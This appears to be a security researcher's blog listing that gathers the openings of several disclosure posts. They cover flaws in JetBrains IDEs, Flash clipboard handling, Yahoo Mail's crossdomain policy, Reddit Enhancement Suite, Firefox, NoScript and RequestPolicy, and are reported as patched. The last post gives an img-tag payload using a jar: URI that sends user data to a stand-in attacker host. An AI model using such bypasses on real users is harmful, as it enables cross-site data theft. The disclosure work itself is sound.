TL;DR

From at least 2013 until May 2016 JetBrains’ IDEs were vulnerable to local file leakage, with the Windows (EDIT: and OS X) versions additionally being vulnerable to remote code execution. The only prerequisite for the attack was to have the victim visit an attacker-controlled webpage while the IDE was open.

Affected IDEs included PyCharm, Android Studio, WebStorm, IntelliJ IDEA and several others.

I’ve tracked the core of most of these issues (CORS allowing all origins + always-on webserver) back to the addition of the webserver to WebStorm in 2013. It’s my belief that all JetBrains IDEs with always-on servers since then are vulnerable to variants of these attacks.

The arbitrary code execution vuln affecting Windows and OS X was in all IDE releases since at least July 13, 2015, but was probably exploitable earlier via other means.

All of the issues found were fixed in the patch released May 11th 2016.

(NOTE: This article has been sitting in my drafts since May 2014. I am very lazy.)

TL;DR

Flash only allows read access to the clipboard in event handlers triggered by paste events, but Flash wasn’t checking if the clipboard contents had changed since entering the event handler. Due to quirks in how Flash’s event handlers work, an attacker could read from and write to the clipboard for hours after the user navigated away from page containing the SWF, even after navigating away or closing the incognito window.

This is a follow-up to another article about crossorigin mail theft on Yahoo! Mail using Flash. For a better understanding of the issue, you can read that here: http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/

TL;DR

A .swf on Yahoo’s CDN had a vulnerability that enabled near-complete control over Yahoo! Mail crossorigin. The .swf itself is fixed, but the configuration issue that allowed a .swf completely unrelated to Yahoo! Mail to do something like that still exists.

The Issue

So, in the last article we established that YMail’s crossdomain.xml rules are incredibly lax:

1
2
3
4
5

<crossorigin-policy>
  <allow-access-from domain="*.yahoo.com" secure="false"/>
  <allow-access-from domain="l.yimg.com" secure="false"/>
  <allow-access-from domain="s.yimg.com" secure="false"/>
</crossorigin-policy>

They allow .swfs on any subdomain of yahoo.com to read resources on YMail crossorigin. Last time we abused a crossorigin proxy on hk.promotions.yahoo.com to serve up our own .swf that would request pages from YMail and leak them back to us. The crossorigin proxy has since been patched, but the loose crossdomain.xml rules remain. Assuming there’s no way for us to serve our own .swf through yahoo.com anymore, how can we exploit these rules without using MITM attacks? Well, we abuse vulnerabilities in .swfs that are legitimately hosted on subdomains of yahoo.com.

Let’s look for a .swf that will allow us to make arbitrary requests, and read the response. With a little searching we find a good candidate, hotspotgallery.swf, related to a feature on Yahoo! Autos that gives 3D tours of cars. Normally it’s served up on sp.yimg.com, which isn’t a domain allowed by YMail’s crossdomain.xml, but with a little finagling we find that the same .swf can also be accessed on img.autos.yahoo.com.

TL;DR

The library that Reddit Enhancement Suite (a browser extension for reddit users) used for HTML sanitization had a bug that bit them pretty hard, enabling DOM-based XSS of 1.5~ million reddit users. RES pushed out a fixed version, and reddit deployed a script to prevent users of the old version from accidentally getting exploited; thus preventing an XSS worm.

Introduction

If you’re a user of Reddit Enhancement Suite, chances are you recently saw this big scary alert() box when you tried to click an expando button:

For those who aren’t familiar with RES, an expando is an inline preview of offsite content, or content that would normally require a clickthrough, that can be viewed by pressing an “expando” button:

A few people have asked questions like “why am I getting that alert?”, “what exactly is this bug?”, “why can’t I just use the vulnerable version anyways?”. Rather than respond to each question separately, I decided to write something that would hopefully answer everyone’s questions at once.

I’m taking a break from browser security posts while I wait for vendors to patch, so the next few posts are probably going to be about web app security. Hopefully I should have some posts about architectural flaws in browsers / plugins by next month.

Initial Discovery

Since Yahoo recently revamped their Responsible Disclosure program, I figured I’d have a go at finding some vulnerabilities. All of *.yahoo.com is in scope, and Yahoo has a lot of legacy behind it, so I started going through the more obscure subdomains manually. One of the subdomains I looked at a lot was hk.promotions.yahoo.com. It’s a good place to look because it has lots of PHP scripts and Flash, it looks like it wasn’t done by Yahoo’s core devs, and most auditors aren’t looking there since its content is mostly in Chinese.

Reading the blogs of lcamtuf and Chris Evans is really what got me interested in browser security, so I’m always on the lookout for novel cross-domain data theft vectors. Today I’m going to go into the discovery and exploitation of such a bug: A timing attack on Firefox’s document.elementFromPoint and document.caretPositionFromPoint implementations.

Initial Discovery

I was looking at ways to automatically exploit another bug that required user interaction when I noticed elementFromPoint and caretPositionFromPoint on the MDN. Curious as to how they behaved with frames, I did a little testing.

Here’s one that’s been covered a bit before: NoScript makes it easy for whitelisted sites to see what other sites are on the whitelist.

So what’s the issue?

Most of the pertinent info is in the previous paper, but I’ll give a brief summary. By default NoScript operates in whitelist mode, forbidding scripts from all domains. Once a site has been added to the whitelist, scripts from that domain as well as those included from other whitelisted domains may be executed on the page.

Here’s an interesting bug I found while looking at some cross-domain data-stealing issues. It’s possible to bypass RequestPolicy’s whitelist entirely by referencing a resource nested in a jar URI:

1

<img src="jar:http://evil.example.com/logger?userdata=whatever!/foobar" />

Firefox will block the resource from being displayed even if it is valid (due to prior security issues with the jar URI scheme,) but a cross-domain request is made and it doesn’t require JS to execute. This can be verified through the network pane in Firefox’s dev tools. A limited amount of information may be sent back from the server by using timing information.